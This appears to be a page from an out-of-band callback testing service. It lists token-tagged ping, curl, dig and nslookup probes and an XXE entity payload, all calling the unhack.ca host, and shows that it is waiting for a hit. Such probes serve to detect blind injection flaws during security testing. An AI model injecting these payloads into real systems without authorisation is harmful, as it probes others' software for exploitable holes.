$ ping -c1 -p 00516f0b5df32ae951c66bc122b57f00 unhack.ca
 
$ curl http://unhack.ca/p/516f0b5df32ae951c66bc122b57f
 
$ dig 516f0b5df32ae951c66bc122b57f @unhack.ca
 
$ dig 516f0b5df32ae951c66bc122b57f.ns.unhack.ca
 
C:\> nslookup 516f0b5df32ae951c66bc122b57f unhack.ca
 
<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/516f0b5df32ae951c66bc122b57f">]>
    <foo>&xxe;</foo>
Waiting for ping...